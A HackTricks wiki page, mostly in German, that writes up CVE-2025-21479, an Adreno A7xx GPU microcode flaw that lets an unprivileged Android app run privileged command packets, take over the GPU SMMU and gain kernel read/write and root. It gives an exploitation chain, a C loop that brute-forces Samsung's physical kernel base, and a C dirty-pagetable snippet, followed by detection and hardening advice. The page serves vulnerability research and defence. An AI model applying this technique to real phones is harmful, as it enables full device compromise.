Adreno A7xx SDS->RB privilege bypass (GPU SMMU takeover to Kernel R/W)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Diese Seite fasst einen in-the-wild Adreno A7xx Microcode-Logikfehler (CVE-2025-21479) in reproduzierbare Exploit-Techniken zusammen: Ausnutzung der IB-Level-Maskierung in Set Draw State (SDS), um privilegierte GPU-Pakete aus einer unprivilegierten App auszuführen, Pivot auf GPU SMMU takeover und anschließend zu schnellem, stabilem Kernel R/W via dirty-pagetable trick.

  • Affected: Qualcomm Adreno A7xx GPU firmware prior to a microcode fix that changed masking of register $12 from 0x3 to 0x7.
  • Primitive: Execute privileged CP packets (e.g., CP_SMMU_TABLE_UPDATE) from SDS, which is user-controlled.
  • Outcome: Arbitrary physical/virtual kernel memory R/W, SELinux disable, root.
  • Prereq: Ability to create a KGSL GPU context and submit command buffers that enter SDS (normal app capability).

Hintergrund: IB levels, SDS and the $12 mask

  • Der Kernel verwaltet einen Ringpuffer (RB=IB0). Userspace übergibt IB1 via CP_INDIRECT_BUFFER, wobei Verkettungen zu IB2/IB3 möglich sind.
  • SDS ist ein spezieller Kommando-Stream, der via CP_SET_DRAW_STATE betreten wird:
  • A6xx: SDS wird als IB3 behandelt
  • A7xx: SDS wurde auf IB4 verschoben
  • Der Microcode verfolgt das aktuelle IB-Level im Register $12 und lässt privilegierte Pakete nur passieren, wenn das effektive Level IB0 (kernel RB) entspricht.
  • Bug: A7xx microcode maskierte $12 weiterhin mit 0x3 (2 bits) statt mit 0x7 (3 bits). Da IB4 & 0x3 == 0, wurde SDS fälschlich als IB0 identifiziert, was privilegierte Pakete aus user-controlled SDS zuließ.

Warum das wichtig ist:

A6XX                | A7XX
RB  & 3       == 0  |  RB  & 3       == 0
IB1 & 3       == 1  |  IB1 & 3       == 1
IB2 & 3       == 2  |  IB2 & 3       == 2
IB3 (SDS) & 3 == 3  |  IB3 & 3       == 3
|  IB4 (SDS) & 3 == 0   <-- misread as IB0 if mask is 0x3

Microcode-diff-Beispiel (Patch änderte die Maske auf 0x7):

@@ CP_SMMU_TABLE_UPDATE
- and $02, $12, 0x3
+ and $02, $12, 0x7
@@ CP_FIXED_STRIDE_DRAW_TABLE
- and $02, $12, 0x3
+ and $02, $12, 0x7

Exploitation overview

Ziel: Von SDS (fälschlicherweise als IB0 gelesen) privilegierte CP-Pakete senden, um die GPU SMMU auf vom Angreifer erstellte Pagetabellen umzuleiten, und dann GPU copy/write-Pakete für beliebiges physisches R/W verwenden. Schließlich auf ein schnelles CPU-seitiges R/W via dirty pagetable pivoten.

High-level chain

  • Eine gefälschte GPU Pagetabelle im shared memory erstellen
  • SDS betreten und ausführen:
  • CP_SMMU_TABLE_UPDATE -> auf gefälschte Pagetabelle umschalten
  • CP_MEM_WRITE / CP_MEM_TO_MEM -> Write/Read-Primitiven implementieren
  • CP_SET_DRAW_STATE mit run-now Flags (sofortige Ausführung)

GPU R/W primitives via fake pagetable

  • Write: CP_MEM_WRITE an eine vom Angreifer gewählte GPU VA, deren PTEs du auf eine gewählte PA mapst -> beliebiger physischer Schreibzugriff
  • Read: CP_MEM_TO_MEM kopiert 4/8 Bytes von der Ziel-PA in einen userspace-geteilten Puffer (Batch für größere Reads)

Notes

  • Jeder Android-Prozess erhält einen KGSL-Kontext (IOCTL_KGSL_GPU_CONTEXT_CREATE). Das Wechseln der Kontexte aktualisiert normalerweise die SMMU-Tabellen im RB; der Bug erlaubt es, dies in SDS zu tun.
  • Übermäßiger GPU-Traffic kann UI-Ausfälle und Reboots verursachen; Lesevorgänge sind klein (4/8B) und Sync ist standardmäßig langsam.

Building the SDS command sequence

  • Eine gefälschte GPU-Pagetabelle in den shared memory sprühen, sodass mindestens eine Instanz an einer bekannten physischen Adresse landet (z. B. via allocator grooming und Wiederholung).
  • Einen SDS-Buffer konstruieren, der in folgender Reihenfolge enthält:
  1. CP_SMMU_TABLE_UPDATE auf die physische Adresse der gefälschten Pagetabelle
  2. Ein oder mehrere CP_MEM_WRITE und/oder CP_MEM_TO_MEM Pakete, um R/W mittels deiner neuen Adress-Übersetzungen zu implementieren
  3. CP_SET_DRAW_STATE mit Flags, um sofort auszuführen

Die genauen Packet-Encodings variieren je nach Firmware; benutze freedreno’s afuc/packet docs, um die Worte zusammenzusetzen, und stelle sicher, dass der SDS-Submission-Pfad vom Treiber genommen wird.

Finding Samsung kernel physbase under physical KASLR

Samsung randomisiert die physische Kernel-Basis innerhalb eines bekannten Bereichs auf Snapdragon-Geräten. Brute-force den erwarteten Bereich und suche nach den ersten 16 Bytes von _stext.

Representative loop

while (!ctx->kernel.pbase) {
offset += 0x8000;
uint64_t d1 = kernel_physread_u64(ctx, base + offset);
if (d1 != 0xd10203ffd503233f) continue;   // first 8 bytes of _stext
uint64_t d2 = kernel_physread_u64(ctx, base + offset + 8);
if (d2 == 0x910083fda9027bfd) {           // second 8 bytes of _stext
ctx->kernel.pbase = base + offset - 0x10000;
break;
}
}

Sobald physbase bekannt ist, berechne das kernel virtual mit der linearen Abbildung:

_stext = 0xffffffc008000000 + (Kernel Code & ~0xa8000000)

Stabilisierung auf schnellen, zuverlässigen CPU-seitigen Kernel R/W (dirty pagetable)

GPU R/W ist langsam und hat eine geringe Granularität. Wechsle zu einer schnellen/stabilen Primitive, indem du deine eigenen Prozess-PTEs korrumpierst („dirty pagetable“):

Steps

  • Finde current task_struct -> mm_struct -> mm_struct->pgd mithilfe der langsamen GPU R/W-Primitives
  • mmap zwei benachbarte userspace pages A und B (z. B. bei 0x1000)
  • Durchlaufe PGD->PMD->PTE, um die physischen Adressen der PTEs von A/B aufzulösen (Hilfsfunktionen: get_pgd_offset, get_pmd_offset, get_pte_offset)
  • Überschreibe B’s PTE, damit sie auf die last-level pagetable zeigt, die A/B verwaltet, mit RW-Attributen (phys_to_readwrite_pte)
  • Schreibe über B’s VA, um A’s PTE zu verändern, sodass es Ziel-PFNs abbildet; lese/schreibe Kernel-Speicher über A’s VA und flush TLB, bis ein Sentinel umschlägt
Beispiel dirty-pagetable pivot snippet ```c uint64_t *map = mmap((void*)0x1000, PAGE_SIZE*2, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, 0, 0); uint64_t *page_map = (void*)((uint64_t)map + PAGE_SIZE); page_map[0] = 0x4242424242424242;

uint64_t tsk = get_curr_task_struct(ctx); uint64_t mm = kernel_vread_u64(ctx, tsk + OFFSETOF_TASK_STRUCT_MM); uint64_t mm_pgd = kernel_vread_u64(ctx, mm + OFFSETOF_MM_PGD);

uint64_t pgd_off = get_pgd_offset((uint64_t)map); uint64_t phys_pmd = kernel_vread_u64(ctx, mm_pgd + pgd_off) & ~((1<<12)-1); uint64_t pmd_off = get_pmd_offset((uint64_t)map); uint64_t phys_pte = kernel_pread_u64(ctx, phys_pmd + pmd_off) & ~((1<<12)-1); uint64_t pte_off = get_pte_offset((uint64_t)map); uint64_t pte_addr = phys_pte + pte_off; uint64_t new_pte = phys_to_readwrite_pte(pte_addr); kernel_write_u64(ctx, pte_addr + 8, new_pte, false); while (page_map[0] == 0x4242424242424242) flush_tlb();

</details>

## Detection and hardening

- Firmware/microcode: alle Stellen, die $12 maskieren, so ändern, dass 0x7 verwendet wird (A7xx) und privileged packet gates auditieren
- Driver: den effektiven IB-Level für privileged packets validieren und per-Kontext allowlists durchsetzen
- Telemetry: Alarm auslösen, wenn CP_SMMU_TABLE_UPDATE (oder ähnliche privileged opcodes) außerhalb von RB/IB0 erscheint, besonders in SDS; anomale Bursts von 4/8-Byte CP_MEM_TO_MEM und übermäßige TLB-flush-Muster überwachen
- Kernel: pagetable metadata härten und Muster von user PTE-Korruption erkennen

## Impact

Eine lokale App mit GPU-Zugriff kann privileged GPU packets ausführen, die GPU SMMU übernehmen, beliebige kernel physical/virtual R/W erreichen, SELinux deaktivieren und auf betroffenen Snapdragon A7xx-Geräten (z. B. Samsung S23) root erlangen. Severity: High (kernel compromise).

## References

- [CVE-2025-21479: Adreno A7xx SDS->RB privilege bypass to kernel R/W (Samsung S23)](https://xploitbengineer.github.io/CVE-2025-21479)
- [Mesa freedreno afuc disassembler README (microcode + packets)](https://gitlab.freedesktop.org/mesa/mesa/-/blob/c0f56fc64cad946d5c4fda509ef3056994c183d9/src/freedreno/afuc/README.rst)
- [Google Project Zero: Attacking Qualcomm Adreno GPU (SMMU takeover via CP packets)](https://googleprojectzero.blogspot.com/2020/09/attacking-qualcomm-adreno-gpu.html)
- [Dirty pagetable (archive)](https://web.archive.org/web/20240425043203/https://yanglingxi1993.github.io/dirty_pagetable/dirty_pagetable.html)

> [!TIP]
> Lernen & üben Sie AWS Hacking:<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../../../images/arte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">\
> Lernen & üben Sie GCP Hacking: <img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)<img src="../../../../../images/grte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
> Lernen & üben Sie Azure Hacking: <img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">[**HackTricks Training Azure Red Team Expert (AzRTE)**](https://training.hacktricks.xyz/courses/azrte)<img src="../../../../../images/azrte.png" alt="" style="width:auto;height:24px;vertical-align:middle;">
>
> <details>
>
> <summary>Unterstützen Sie HackTricks</summary>
>
> - Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
> - **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
> - **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
>
> </details>